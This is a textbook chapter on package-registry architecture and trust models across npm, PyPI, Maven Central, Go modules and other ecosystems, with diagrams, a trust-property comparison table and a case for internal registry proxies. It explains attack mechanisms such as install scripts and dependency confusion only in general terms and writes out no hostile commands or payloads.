The Backend Engineer's Library

Dependency Management and Open Source Risk

Volume C02

Contents

Chapter 1 — Package Managers and Registries: Architecture and Trust Models

What this chapter covers. Every dependency attack and every dependency defense in the rest of this book is a variation on one theme: code you did not write arrives on your machine through a package manager, and something — the registry, an account, a hash, a signature, a transparency log, or nothing at all — vouches for it along the way. Before we can reason about dependency confusion (Chapter 3), malicious packages (Chapter 4), or software composition analysis (Chapter 6), we have to understand the plumbing precisely: what a registry actually stores, what a package manager actually does when it resolves and installs, and — the load- bearing question — *where trust is placed at each step, and who can betray it.* This chapter builds that foundation. It first draws the general anatomy of a package ecosystem, then instantiates it concretely across the five ecosystems a polyglot backend org runs every day — npm, PyPI, Maven Central, and Go modules in depth, with Cargo, RubyGems, NuGet, and the Debian/RPM distro model as contrast. It ends by turning those per-ecosystem details into a single comparison framework of trust properties, and by looking at the whole mess through the lens of an organization that must consume all of them at once, at scale, with high uptime.

Learning goals — after this chapter you should be able to:

- Name the **five core components** of any package ecosystem — registry, client/package manager, manifest, lockfile, and artifact format — and explain what each one is trusted to do.
- Trace the **publish flow** and the **install flow** for a package and mark, at each hop, what the security of the result actually depends on.
- Describe accurately, and contrast, the architecture and trust model of **npm, PyPI, Maven Central, and Go modules** — including integrity mechanisms (SRI, GPG, checksum DB), the namespace/ account model, whether installation executes arbitrary code, and whether a published version is immutable.

- Explain why **Go modules** is the most security-forward mainstream design, in terms of its transparency log, minimal version selection, and de-facto immutability.
- Build and apply a **cross-cutting trust framework** — centralized vs decentralized, mutable vs immutable, namespace ownership, account security, artifact integrity, code-on-install, auditability — and enumerate the concrete **trust anchors** each ecosystem rests on.
- Argue the distributed-systems case for an **internal registry/proxy** as a unifying caching and trust-control layer, and reason about **availability coupling** between your build and someone else's registry.

A note on scope. This chapter is deliberately about *mechanism and trust*, not about version math or malice. How resolvers actually pick versions, why lockfiles matter, and how they are generated and verified is Chapter 2. How attackers weaponize the namespace and index-priority behaviors introduced here is Chapter 3. How you would run a mirror or internal registry in production is Chapter 8. Where transparency logs come from and how Merkle-tree auditability is built is Book 5, Chapter 5. This chapter gives you the map those chapters navigate.

The anatomy of a package ecosystem

Strip away the branding and every language package ecosystem is the same five components arranged the same way. Learn the shape once and each ecosystem becomes a set of concrete answers to the same questions.

1. **The registry.** A networked service that stores two logically distinct things: *metadata* (which packages exist, which versions, their declared dependencies, their maintainers, their hashes) and *artifacts* (the actual bytes you download — a tarball, a wheel, a JAR, a zip). In practice the artifact bytes usually live on a CDN or object store fronting the metadata API. The registry is the thing that answers "what versions of `left-pad` exist and where do I get 1.3.0?"
2. **The client / package manager.** The tool on the developer's or CI machine — `npm`, `pip`, `mvn` / `gradle`, `go`, `cargo` — that reads your declared dependencies, talks to the registry, runs a **resolver** to turn loose version ranges into an exact set of versions, downloads the artifacts, verifies them (or doesn't), and installs them into a project.

The client is where *policy* lives: it decides what to verify, whether to run install scripts, which index to trust.

3. **The manifest.** The human-authored, intent-level declaration of *direct* dependencies, usually with version *ranges* or constraints: `package.json`, `pyproject.toml` / `requirements.txt`, `pom.xml` / `build.gradle`, `go.mod`, `Cargo.toml`. It says "I want a React 18.x and an Express 4.x." It does not, by itself, pin the world.

4. **The lockfile.** The machine-generated, fully-resolved record of the *entire* transitive dependency graph, pinned to exact versions and — critically for security — usually to exact content hashes: `package-lock.json`, `poetry.lock` / `uv.lock`, `Cargo.lock`, `go.sum` (Go's integrity file, paired with the resolved `go.mod`). The lockfile is what makes an install *reproducible* and *verifiable*. Its presence, format, and whether it carries hashes is one of the sharpest differentiators between ecosystems, and the whole of Chapter 2.

5. **The artifact format.** The on-disk package: an npm tarball (`.tgz`), a Python wheel (`.whl`) or source distribution (`.tar.gz` sdist), a Maven JAR plus its POM, a Go module zip, a Cargo `.crate`, a `.nupkg`, a `.deb` / `.rpm`. The format determines something security-critical: **does merely installing it run code?** A wheel is inert data unzipped into place; an sdist runs `setup.py`; a `.deb` runs maintainer scripts as root.

```
flowchart LR
    subgraph dev["Developer / CI machine"]
        M["Manifest
(declared ranges)"]
        L["Lockfile
(pinned + hashed)"]
        C["Client / package manager
resolver + installer"]
        PROJ["Project
(node_modules, venv, .m2, ...)"]
    end
    subgraph reg["Registry"]
        META["Metadata API
versions, deps, hashes, owners"]
        ART["Artifact store / CDN
tarballs, wheels, JARs, zips"]
    end
    M --> C
    C -->|"resolve"| META
    C -->|"download"| ART
    C -->|"write/verify"| L
    C -->|"install (maybe run scripts)"| PROJ
    META -.->|"references by hash"| ART
```

Two flows, and where trust lives

Everything a registry does reduces to two flows. Attacks live in the gap between what each hop *proves* and what we *assume* it proves.

The publish flow puts a package into the registry. A maintainer authenticates (password + token, ideally 2FA, or increasingly a short-lived OIDC credential), builds an artifact, and uploads it. The registry may run some validation — name-availability, malware heuristics, signature checks — and then makes the version available, often propagating to a CDN. The trust question at publish time is: **who is allowed to speak for this name, and what did they have to prove to do so?** If an attacker can obtain a maintainer's token (Codecov, event-stream) or register a name close to a real one (typosquatting, Chapter 3), the publish flow has been subverted at its root, and everything downstream faithfully distributes the poison.

The install flow pulls a package onto a machine. The client reads the manifest (or, preferably, the lockfile), resolves the graph, downloads artifacts, verifies integrity to whatever degree it is configured to, and installs — which in several ecosystems means *executing code with the*

current user's privileges. The trust questions at install time are: **did I get the bytes the publisher intended (integrity)?** and **did those bytes come from the party I think (authenticity)?** and **what did running the installer let the package do?** Integrity is answered by hashes; authenticity by signatures, provenance, or a transparency log; execution risk by the artifact format and the client's script policy.

```
sequenceDiagram
    autonumber
    participant Dev as Maintainer
    participant Reg as Registry
    participant CDN as Artifact store / CDN
    participant Cli as Client (you / CI)
    Note over Dev,Reg: PUBLISH FLOW
    Dev->>Reg: authenticate (token / 2FA / OIDC)
    Note right of Dev: TRUST: account & name ownership
    Dev->>Reg: upload artifact + metadata
    Reg->>Reg: validate (name, maybe sig / scan)
    Note right of Reg: TRUST: registry-side checks
    Reg->>CDN: publish artifact + hash
    Note over Cli,CDN: INSTALL FLOW
    Cli->>Reg: resolve versions & hashes
    Note right of Cli: TRUST: metadata integrity, TLS
    Cli->>CDN: download artifact
    CDN-->>Cli: bytes
    Cli->>Cli: verify hash / signature / checksum-db
    Note right of Cli: TRUST: client verification (often optional)
    Cli->>Cli: install (may run scripts as you)
    Note right of Cli: TRUST: code-on-install
```

Keep this diagram in mind for the rest of the chapter. Every ecosystem differs primarily in the strength of the annotations — which trust points are enforced, which are advisory, and which simply do not exist.

npm and the Node ecosystem

npm is the largest package registry in the world by artifact count and by download volume, and it is also the one whose defaults have historically placed the most trust in the least-verified places. That combination is why so many real incidents in this book are npm incidents.

Registry and artifacts. The public registry is `registry.npmjs.org`, a CouchDB-lineage metadata service fronting artifact tarballs served from a CDN. A package's metadata document lists every published version, each version's `package.json`, and a `dist` object containing the tarball

URL and an **integrity** string. Since npm 5 the integrity is a Subresource Integrity (SRI) hash, in practice `sha512-<base64>`, and this same value is written into your `package-lock.json`. On install, npm recomputes the tarball's SHA-512 and compares it to the locked integrity; a mismatch aborts the install. This gives npm strong *integrity* (you got the bytes the lockfile expected) but, by itself, no *authenticity* (nothing proves who produced those bytes — only that they match a hash someone recorded).

Manifest, lockfile, resolution. `package.json` declares direct dependencies with semver ranges (`^4.18.0`, `~1.2.0`, `*`). `package-lock.json` records the fully resolved tree with exact versions and integrity hashes. Resolution and the three major clients diverge here:

- **npm** installs a *hoisted*, mostly-flat `node_modules`: it lifts dependencies toward the root to deduplicate, falling back to nested copies only on version conflicts. This is why you can `require()` packages you never declared (phantom dependencies) and why the tree layout is non-deterministic across npm versions.
- **Yarn** (Classic) uses its own `yarn.lock` and a similar hoisting model; Yarn Berry's Plug'n'Play eliminates `node_modules` entirely, resolving modules through a `.pnp.cjs` map.
- **pnpm** uses a **content-addressable store**: every version of every package is stored once under `~/.pnpm-store`, and each project's `node_modules` is a tree of symlinks into it. The layout is *strict* — a package can only import what it declared — which structurally kills phantom dependencies and saves enormous disk space. pnpm's resolution is otherwise semver- compatible with npm.

Namespaces and accounts. Names are either unscoped (`express`) or **scoped** (`@myorg/thing`), where a scope maps to a user or organization. The trust model is *account- based*: whoever controls the publishing account (or a granted automation token) for a name can push any version to it. There is no per-artifact signature from the author baked into the format by default. This makes account security the primary trust anchor — hence npm's push toward mandatory 2FA for high-impact packages and its move to shorter-lived, granular access tokens after a series of token-theft compromises.

Provenance (2023+). In April 2023 npm shipped **provenance**: publishing with `npm publish --provenance` from a supported CI (GitHub Actions, GitLab) generates a signed provenance attestation via **Sigstore**,

binding the published tarball to the source commit and the build workflow that produced it, and recording it in Sigstore's transparency log. The registry shows a "provenance" badge and you can verify the link from artifact back to source. This is the authenticity layer npm historically lacked — but it is opt-in, and consumers must choose to check it. Provenance and Sigstore are covered fully in Book 5, Chapter 3.

Lifecycle scripts: execution on install. This is npm's defining trust problem. A package's `package.json` can define `preinstall`, `install`, and `postinstall` scripts that npm runs automatically during `npm install`, **with the privileges of the user running the install** — your laptop, your CI runner, your build container. A package you never intended to execute (it was a transitive dependency six levels down) can run arbitrary shell the moment it lands. This is the mechanism behind a large fraction of npm malware: the payload lives in `postinstall`, harvesting environment variables, `~/.npmrc` tokens, and cloud credentials. You can blunt it with `npm install --ignore-scripts` (and set `ignore-scripts=true` in `.npmrc`), at the cost of breaking packages that genuinely need to compile native addons. Notably, **pnpm v10 (2025) flipped the default**: dependency lifecycle scripts no longer run unless the package is added to an `onlyBuiltDependencies` allow-list — a meaningful hardening of a decade-old footgun. Chapter 4 dissects install-script malware in detail.

PyPI and the Python ecosystem

Python's ecosystem is a study in a good registry constrained by a legacy artifact format that runs code, and in a lockfile story that the language standard only recently began to address.

Registry and index model. The Python Package Index, `pypi.org`, serves metadata and artifacts, with `files.pythonhosted.org` as the CDN. Crucially, pip's notion of a "repository" is a *simple index* — an HTML or JSON listing of files per project (PEP 503 / PEP 691) — and pip can be pointed at several at once. `--index-url` **replaces** the default index; `--extra-index-url` **adds** additional indexes. And here is the security-critical behavior: pip treats all configured indexes as a single flat namespace and, among all candidates across all indexes, selects the **highest compatible version** with no notion of index priority or trust. An internal package name that also exists on public PyPI at a higher version will be pulled from PyPI. This is the mechanism of **dependency confusion**, dissected in Chapter 3; note it here as a property of the index model, not a bug.

Artifacts: wheels vs sdists. Python packages ship as **wheels** (`.whl`) and/or **source distributions** (sdists, `.tar.gz`). A wheel is a zip of already-built files; installing it copies files into the environment and runs no build code (though imported code runs later, at runtime, like any Python). An **sdist** must be *built* to install, and building historically means running `setup.py` — arbitrary Python executed on your machine at install time. Even with modern PEP 517 build backends and `pyproject.toml`, an sdist install invokes a build hook that can execute code. So "does pip install run code?" has a nuanced answer: **wheels, no; sdists, yes.** Preferring wheels (`--only-binary=:all:`) is a real hardening control.

Lockfiles and hash-checking. For years Python had *no* native lockfile. `requirements.txt` is a flat pinned list at best, and by default pip does not verify hashes. Two things changed the picture. First, pip's **hash-checking mode**: if any requirement carries a `--hash=sha256:...`, pip enters `--require-hashes` mode and refuses to install *anything* unhashed or hash-mismatched — turning `requirements.txt` into a verifiable lockfile (tools like `pip-tools`' `pip-compile --generate-hashes` produce these). Second, the rise of real lockfiles from **Poetry** (`poetry.lock`), **PDM** (`pdm.lock`), and **uv** (`uv.lock`), each recording the resolved graph with hashes. Standardization arrived with **PEP 751** (accepted 2025), defining `pylock.toml` as an interoperable lockfile format so tools stop each speaking their own dialect. Chapter 2 covers these resolvers.

Publishing and authenticity. Historically you published with a username/password or an API token via `twine`. In 2023 PyPI launched **Trusted Publishers**: an OIDC-based flow where a CI workflow (GitHub Actions, GitLab, others) authenticates to PyPI with a short-lived, workflow- scoped OIDC token and no long-lived secret at all. This removes the most-stolen credential (the API token) from the pipeline and is the recommended path today. For end-to-end artifact integrity at the *repository* level, **PEP 458** (TUF-signed repository metadata, protecting against a compromised index/CDN serving tampered metadata) was accepted back in 2019, and **PEP 480** extends it toward end-to-end (author) signing — but as of this writing (2026) TUF for PyPI is not fully deployed in production; treat it as a designed-but-pending control rather than one you can rely on today. (TUF's design is Book 5, Chapter 5.)

Maven Central and the JVM ecosystem

The JVM world inverts several npm defaults. Its registry is strict about signatures and immutability, its coordinates are globally namespaced by reverse-DNS, and installation does not run package code — but its transitive resolution rules are subtle enough to be a security concern of their own.

Coordinates and the POM. A JVM artifact is identified by **coordinates**: `groupId:artifactId:version`, e.g. `org.apache.commons:commons-lang3:3.14.0`. The `groupId` is conventionally a reverse-DNS namespace you must *prove control of* to publish under — you cannot publish `com.google.*` unless you can demonstrate ownership of the domain (or the GitHub org, in newer flows). This domain-rooted namespace is a stronger name-ownership model than npm's first- come account model. Each artifact carries a **POM** (`pom.xml`) describing its own metadata and its dependencies, and the registry stores the JAR alongside checksums (`.sha1`, `.md5`) and a **GPG signature** (`.asc`).

Signing is mandatory. To publish to Maven Central you *must* GPG-sign your artifacts and publish the public key to a keyserver; the ingestion process rejects unsigned uploads. This is a real per-artifact authenticity control that npm and PyPI historically lacked — though note the trust it provides is only as good as consumers actually verifying signatures, which most build tools do not do automatically, and as good as the keyserver PKI, which is weak. Still, the *requirement* raises the floor.

Publishing path and immutability. Publishing has run through Sonatype: the legacy **OSSRH** (OSS Repository Hosting, a Nexus staging instance) is being retired in favor of the **Central Portal** (the migration proceeded through 2024–2025). Either way, a **released version is immutable**: once `commons-lang3:3.14.0` is in Central, those bytes are permanent — you cannot overwrite or delete them. To fix a bad release you publish a new version. This immutability is a foundational security property: your build for a pinned release version cannot change under you. The exception is **SNAPSHOT** versions (`1.0.0-SNAPSHOT`), which are explicitly *mutable* — a SNAPSHOT can be re-published repeatedly and resolves to "the latest build." SNAPSHOTs belong in development, never in a reproducible or security-sensitive build; depending on a SNAPSHOT reintroduces exactly the mutability that release immutability was designed to remove.

Transitive resolution — "nearest wins." When two paths through your dependency graph pull different versions of the same artifact, Maven performs **dependency mediation** using a **nearest-wins** rule: the version at the *shortest path* from the root of the graph wins, and declaration order breaks ties at equal depth. This is *not* "highest version wins" — Maven can silently select an *older* version because it is nearer in the tree, which has real security consequences (you can end up with a known-vulnerable version even though a fixed one exists deeper in the graph). **Gradle** resolves the same conflict differently: by default it picks the **highest** requested version, and offers rich constraints, `strictly` version locking, and `resolutionStrategy` overrides. The two tools reading the same POMs can therefore produce *different* dependency sets — a fact worth internalizing before Chapter 2's deep dive on resolution. Installation itself runs no package-supplied code: resolving and placing JARs into the local `~/.m2` repository does not execute the dependency. Execution risk in the JVM world is a *runtime* concern (deserialization gadgets, Log4Shell — Book 1, Chapter 5), not an install- time one.

Go modules

Go modules is the most security-forward mainstream package system, and it got there by making different foundational choices: no central registry, cryptographic identity for every module version, a public transparency log for checksums, and a resolution algorithm that is deterministic without even needing a lockfile. It is worth understanding in detail precisely because it is the counter-example the others are measured against.

Decentralized by import path. Go has **no central registry**. A module is identified by its import path, which *is* a URL: `github.com/gorilla/mux`, `golang.org/x/crypto`. To resolve it, the toolchain historically fetched directly from the VCS at that URL. There is no `registry.npmjs.org` equivalent that owns the namespace — the namespace is the internet's own DNS and hosting. Name ownership therefore reduces to control of the domain/repo, similar in spirit to Maven's reverse-DNS but without a central gatekeeper at all.

The module proxy. Fetching straight from VCS is slow and fragile (the `left-pad` failure mode: a deleted repo breaks everyone). So Go interposes a **module proxy**, default `proxy.golang.org`, which speaks a simple HTTP GET protocol (`GOPROXY`): the client asks the proxy for a

module's version list, its `go.mod`, and its zip, and the proxy caches immutably. Once the proxy has served `github.com/foo/bar@v1.2.3`, it keeps those exact bytes forever, even if the upstream repo is deleted, force-pushed, or rewritten. The proxy thus provides both *availability* (your build survives upstream disappearing) and *de-facto immutability* (a tag cannot be silently re-pointed once cached).

The checksum database — a transparency log. The proxy could still lie, and the upstream could still tamper. So Go adds a second service: the **checksum database**, default `sum.golang.org`, a Google-operated **transparency log** built as an append-only Merkle tree (the same Certificate-Transparency lineage as Trillian). The first time anyone in the world resolves `github.com/foo/bar@v1.2.3`, its cryptographic hash is recorded in this global log. The Go client (`GOSUMDB`) fetches the hash *and a signed proof that the hash is included in the log*, and it caches trusted hashes in your project's **`go.sum`**. On every subsequent build, the downloaded bytes are hashed and checked against `go.sum`; a mismatch is a hard failure. Because the log is append-only and publicly auditable, a module author *cannot* serve one hash to you and a different one to someone else without the divergence being globally detectable. This is the property no other mainstream ecosystem has by default: **you don't have to trust the proxy or the author — you can verify their claim against a log that cannot rewrite history.**

```
flowchart TD
    B["go build / go get"] -->|"1. request module@version"| P["Module
proxy
proxy.golang.org
(immutable cache)"]
    P -->|"2. go.mod + zip"| B
    B -->|"3. lookup hash for module@version"| S["Checksum DB
sum.golang.org
(append-only Merkle log)"]
    S -->|"4. signed hash + inclusion proof"| B
    B -->|"5. verify inclusion proof
+ hash the downloaded zip"| V{"hash ==
go.sum ?"}
    V -->|"match"| OK["cache in module cache,
trust in go.sum"]
    V -->|"mismatch"| FAIL["hard error: possible tampering"]
    P -.->|"origin fetch on cache miss"| VCS["Upstream VCS
(github.com/... )"]
```

Minimal Version Selection (MVS). Go's resolver is philosophically opposite to npm's. Where semver ranges plus "install the newest allowed" make npm builds a moving target, Go's `go.mod` records each dependency's *minimum required* version, and MVS selects, for the whole build, the **maximum of those minimums** — the lowest version that still satisfies every requirement. There are no ranges, no "latest," and the algorithm is deterministic given the set of `go.mod` files, so two builds of the same commit select the same versions *without needing a lockfile at all*. `go.sum` is not a version lockfile; it is purely an **integrity** file (the hashes). This is a genuinely different design: reproducibility comes from the *resolution rule*, not from freezing a resolved tree. Upgrades happen only when a human bumps a minimum. Chapter 2 contrasts MVS with SAT-style and newest-wins resolvers.

Private modules. For internal code you do not want leaking to the public proxy or logged in the public checksum DB, `GOPRIVATE` (and the finer-grained `GONOPROXY` / `GONOSUMDB`) marks path prefixes to bypass both, fetching directly and skipping checksum-DB verification. (The very old `GONOSUMCHECK` flag from the module system's 1.11/1.12 infancy has been removed; `GONOSUMDB` and `GOSUMDB=off` are the modern knobs, with `GOPRIVATE` as the umbrella setting.) Misusing these to disable verification for public modules is a self-inflicted downgrade of the strongest property Go gives you.

Brief comparisons: Cargo, RubyGems, NuGet, and the distro model

The four ecosystems above cover most of the design space, but four more sharpen the picture.

Cargo / crates.io (Rust). crates.io is centralized, and its defining property is **strict immutability**: once a version of a crate is published, it can *never* be deleted or overwritten — there is no unpublish at all. The only remediation is `cargo yank`, which does *not* remove the bytes; it marks a version so the resolver will not *newly* select it, while any existing `Cargo.lock` that already pins it keeps working. This is a deliberately narrower knob than npm's historical unpublish, and it is why a `left-pad`-style deletion is structurally impossible on crates.io. `Cargo.toml` is the manifest, `Cargo.lock` the lockfile with hashes, and crates.io moved from a git-based index to a **sparse HTTP index** in 2023 for faster

resolution. Execution-on-install exists via `build.rs` build scripts and procedural macros, which run arbitrary code at build time — the same install-script risk as npm, mitigated in practice by Rust's smaller, more-curated ecosystem but not eliminated.

RubyGems (rubygems.org). Centralized, account-based, `Gemfile` / `Gemfile.lock` via Bundler. Its notable trust wrinkle: a gem's `.gemspec` **is Ruby code that is *evaluated*** (not parsed as data) during operations, and gems can carry C extensions compiled on install — so both metadata handling and installation can execute code. RubyGems supports gem signing, but it is rarely used in practice, leaving account security as the effective trust anchor.

NuGet (.NET). `nuget.org` is centralized; packages are `.nupkg` zips identified by ID+version. nuget.org **requires signed packages** (author and/or repository signatures) and supports strong-name/authenticode lineage from the .NET platform. Modern SDK-style `PackageReference` restores do **not** run package-supplied install scripts (the old `packages.config` world had `install.ps1` hooks in some hosts; the platform moved away from them), so NuGet sits closer to the Maven "no code on restore" end than to npm.

Debian / RPM — a different trust model entirely. Distro packaging is not a language ecosystem and its trust model is categorically different. The artifacts (`.deb`, `.rpm`) are built and curated by **distribution maintainers**, not by upstream authors publishing directly. A maintainer takes upstream source, applies distro patches, builds, and uploads to a repository whose **metadata is cryptographically signed** by the distro's key: APT verifies the signed `Release` / `InRelease` file (which chains to per-package hashes) against a trusted keyring; RPM verifies signed repository metadata and, optionally, signed packages via `rpm --checksig`. The result is a **curated, gatekept** supply chain — a human maintainer stands between upstream and you, review happens, and the trust anchor is the distro's signing key rather than an individual author's account. The cost is latency and a smaller catalog; the benefit is exactly the review and accountability that the fast, author-direct language registries traded away. (Install still runs `preinst` / `postinst` maintainer scripts **as root** — a real execution surface, but one attached to a curated pipeline. The xz-utils backdoor, Book 1 Chapter 5, is the cautionary tale of what happens when the trusted maintainer *is* the adversary.)

A cross-cutting trust framework

We can now collapse everything above into one comparison across the dimensions that actually decide dependency risk. Read each column as a question you should be able to answer for any ecosystem you consume.

Property	npm	PyPI	Maven Central	Go modules	Cargo
Topology	Centralized	Centralized	Centralized	**Decentralized** (proxy + checksum DB)	Centralized
Namespace ownership	Account, first-come; scopes	Account, first-come	Reverse-DNS, proof of control	Domain/VCS control	Account, first-come
Released version immutable?	Historically no (unpublish limited after left-pad); yes in practice now	Effectively yes (no re-upload of same file)	**Yes** (SNAPSHOT is mutable)	**Yes** (proxy cache + checksum DB)	**Yes** (yank ≠ delete)
Artifact integrity	SRI sha512 in lockfile	sha256 in metadata; hash-mode opt-in	GPG sig + sha1 (mandatory sign)	**Checksum DB (transparency log) + go.sum**	sha256 in lockfile
Author authenticity	Provenance (Sigstore, opt-in, 2023+)	Trusted Publishers (OIDC, 2023); TUF pending	**Mandatory GPG signature**	Log-backed, not author sig	Optional
Install executes code?	**Yes** (lifecycle scripts)	sdist **yes**, wheel no	No (runtime only)	No	**Yes** (build.rs)

Property	npm	PyPI	Maven Central	Go modules	Cargo
Native lockfile w/ hashes?	Yes (package-lock.json)	Emerging (Poetry/uv/ PEP 751); pip hash-mode	Not built-in (plugins)	go.sum (integrity, not version lock)	Yes (Cargo.lock)
Public auditability	Sigstore log (if provenance)	Limited	Limited	**Global transparency log by default**	Limited
Default resolution	Newest-in-range, hoisted	Newest-compatible	Nearest-wins (Gradle: highest)	**MVS (min-of-maxes)**	SemVer, newest compatible

Two readings of this table matter. First, **Go modules is the only row that answers "public auditability" with an unconditional yes** — because verification against an append-only log is built into the default toolchain, not bolted on and opt-in. Immutability plus a transparency log plus MVS is why Go is the security-forward outlier: an author cannot rewrite a released version, cannot serve you different bytes than they served the world, and cannot silently move your build to a newer version. Second, **the "install executes code" column predicts where the malware is.** npm, sdist-PyPI, Cargo, and distro packages all run code at install/build time; that is exactly where credential-stealing payloads live (Chapter 4). Maven, wheel-PyPI, and NuGet-restore do not, which shifts their execution risk to *runtime* (deserialization, Log4Shell).

Where trust actually rests: enumerating the anchors

"Is package X safe" is the wrong question; "what would have to be compromised for X to be malicious, and how would I detect it" is the right one. That means enumerating the **trust anchors** — the parties and mechanisms whose failure silently poisons the result:

- **The registry operator.** For every centralized ecosystem, the registry is a trust anchor: if npm, PyPI, or crates.io is compromised or coerced, it can serve tampered metadata or artifacts. Integrity hashes in *your* lockfile bound this — an attacker who changes the artifact but not your recorded hash is caught — but a *first* resolution

(no lockfile yet) trusts the registry fully. Go narrows this anchor: the proxy is not fully trusted because the checksum DB backstops it.

- **The maintainer's account.** In account-based ecosystems (npm, PyPI, RubyGems, Cargo, NuGet) this is the softest and most-attacked anchor. Steal the token or phish the credential and you can publish as the maintainer. 2FA, OIDC Trusted Publishers, and short-lived tokens exist precisely to harden it. Maven's mandatory signature and the distro maintainer model shift trust off a single web account.
- **TLS and the CDN.** Every download trusts transport security and the artifact CDN. A compromised CDN can serve bad bytes; hashes in the lockfile and the checksum DB in Go are what make this survivable. TLS protects the fetch but proves nothing about the artifact's provenance.
- **The client's verification policy.** The most under-appreciated anchor is *your own client configuration*. pip does not check hashes unless you make it. npm runs scripts unless you say `--ignore-scripts`. Signature verification in Maven/NuGet is often not enforced by default. A strong registry-side control (a GPG signature, a provenance attestation, a checksum DB entry) provides zero protection if the consuming client never checks it. **Trust that is available but unverified is not trust; it is decoration.**

The engineering takeaway: for each ecosystem your org uses, know which of these anchors is load-bearing, and push verification as far toward *enforced-by-default* as the ecosystem allows — hash-checking mode in pip, provenance verification in npm, checksum DB left enabled in Go, signature policy in Maven/NuGet. Chapters 3 and 4 show what happens when you don't.

Distributed-systems lens: many ecosystems, one control plane

A real backend organization does not run *an* ecosystem; it runs *all of them at once*. Polyglot microservices mean a single company simultaneously depends on npm for its front-ends and Node services, PyPI for data and ML, Maven Central for JVM services, Go modules for infrastructure tooling, plus Cargo, RubyGems, and NuGet in the corners, and Debian/RPM under all of it in the base images. Each of those has, as we have just catalogued, a *different* trust model, a *different* immutability

guarantee, a *different* namespace convention, and a *different* answer to "does install run code." Reasoning about supply-chain risk one ecosystem at a time does not scale to an organization; you need a unifying layer.

The internal registry / proxy as a unifying control plane. The standard answer is to put a private registry or repository proxy in front of *every* public ecosystem — Artifactory or Nexus as a multi-format repository, GitHub Packages, Google Artifact Registry / AWS CodeArtifact, or format-specific tools like Verdaccio for npm. Every developer and CI job is pointed at the internal endpoint instead of the public registry, and the internal system proxies, caches, and mediates. This buys three things that a bag of disparate public registries cannot:

1. **A single caching and availability layer.** Your builds stop depending on the uptime of half a dozen third-party registries. Which matters, because that dependency is not hypothetical.
2. **A single security chokepoint.** One place to scan every incoming artifact (Chapter 6), to enforce allow/deny lists and blocked-version policy, to require signatures or provenance, and to prevent dependency-confusion by controlling how internal and public names are resolved (Chapter 3). Instead of configuring hash-checking, script policy, and signature verification in six different client tools across thousands of repos, you enforce it once at the proxy.
3. **A uniform audit trail.** Every artifact that entered the org came through one system that logged it — an SBOM and provenance backbone (Book 3) rather than N registries' worth of scattered logs.

```
flowchart LR
    subgraph org["Organization"]
        direction TB
        SVC1["Node service"] --> IR
        SVC2["Python/ML service"] --> IR
        SVC3["JVM service"] --> IR
        SVC4["Go tooling"] --> IR
        IR["Internal registry / proxy
(Artifactory / Nexus / Artifact Registry)
cache · scan · policy · audit"]
    end
    IR -->|"proxy + cache"| NPM["registry.npmjs.org"]
    IR -->|"proxy + cache"| PYPI["pypi.org"]
    IR -->|"proxy + cache"| MVN["Maven Central"]
    IR -->|"proxy + cache"| GO["proxy.golang.org"]
```

Availability coupling is real. Your build's success is coupled to the liveness and stability of registries you do not operate. The canonical illustration is **left-pad**: in March 2016 a maintainer, in a dispute with npm over an unrelated package name, unpublished more than 250 of his packages — including `left-pad`, an eleven-line string-padding function transitively depended on by Babel, React tooling, and much of the JavaScript build world. Builds across the industry broke within minutes. npm took the unusual step of *restoring* the package and subsequently tightened its unpublish policy (a 72-hour window, with restrictions once a package has dependents). The lesson generalizes beyond npm: a public registry's uptime, unpublish policy, and rate limits are inputs to *your* availability SLO. Go's immutable proxy and Cargo's no-delete rule are direct architectural responses to exactly this failure mode; an internal caching proxy is the operational one — a `left-pad` deletion cannot break a build whose dependencies are already cached and validated in your Artifactory.

The mirror as both resilience and security control. The same cache that keeps you building during an npm outage is also the natural place to *stop* a bad package from ever reaching a developer. Resilience (serve from cache when upstream is down) and security (don't serve what policy forbids, and only serve what has been scanned and, ideally, signature/provenance-verified) are the same architectural lever pulled in two directions. That dual role — availability shock absorber and security chokepoint — is why the internal registry is the single most important piece of dependency infrastructure a serious backend org runs, and it is the subject of Chapter 8. Everything between here and there — resolution and lockfiles (Chapter 2), the attacks the namespace and index models enable (Chapter 3), and how malicious packages actually behave (Chapter 4) — is the risk this control plane exists to manage.

Key takeaways

- **Every ecosystem is the same five parts** — registry (metadata + artifacts), client (resolver + installer), manifest (declared ranges), lockfile (resolved + hashed), and artifact format (which decides whether install runs code). Learn the shape once; each ecosystem is a set of concrete answers to the same questions.
- **Trust is placed at specific, enumerable hops.** Publish trusts *who may speak for a name*; install trusts *integrity* (hashes), *authenticity*

(signatures/provenance/logs), and *code-on- install* (the artifact format and script policy). Attacks live where a hop proves less than we assume.

- **npm** maximizes reach and minimizes default verification: SRI hashes give integrity, provenance (Sigstore, 2023+) adds opt-in authenticity, but lifecycle scripts run arbitrary code as you on install — the mechanism behind most npm malware. pnpm's strict store and script-off default are meaningful hardenings.
- **PyPI**'s risk is the sdist (`setup.py` = code on install) and a flat multi-index model with no priority (the dependency-confusion substrate). Prefer wheels, use pip hash-checking mode or a real lockfile (Poetry/uv/PEP 751), and publish via OIDC Trusted Publishers.
- **Maven Central** raises the floor: reverse-DNS namespaces you must prove control of, mandatory GPG signing, immutable releases, and no code on install — but nearest-wins mediation can silently select an *older*, vulnerable version, and Gradle resolves the same graph differently (highest-wins). SNAPSHOTs are mutable; keep them out of real builds.
- **Go modules is the security-forward outlier.** Decentralized import paths, an immutable module proxy, a public append-only **checksum-DB transparency log** verified by default, and **MVS** (deterministic without a lockfile) together mean an author cannot delete a version, cannot serve divergent bytes undetectably, and cannot move your build silently. This is the bar the others are measured against.
- **The trust anchors are the registry operator, the maintainer's account, TLS/CDN, and — most neglected — your own client's verification policy.** A registry-side control you never verify is decoration; push verification toward enforced-by-default.
- **A polyglot org needs one control plane.** An internal registry/proxy (Artifactory, Nexus, Artifact Registry, Verdaccio) unifies caching, scanning, policy, and audit across every ecosystem, decouples your builds from third-party registry uptime (`left-pad`, 2016), and makes the mirror simultaneously a resilience shock-absorber and a security chokepoint — the topic of Chapter 8.

Further reading

- npm Docs — *package.json*, *package-lock.json*, *scripts*, and *Generating provenance statements* (`docs.npmjs.com`); npm blog, "Introducing npm package provenance" (April 2023).
- pnpm Documentation — *Motivation* (symlinked store) and the v10 change to `onlyBuiltDependencies` / lifecycle-script defaults (`pnpm.io`).
- Python Packaging User Guide (`packaging.python.org`); PEP 503 / PEP 691 (simple index), pip's *Secure installs* / hash-checking mode docs; PyPI blog, "Trusted Publishers" (2023); **PEP 458** and **PEP 480** (TUF for PyPI); **PEP 751** (`pylock.toml`).
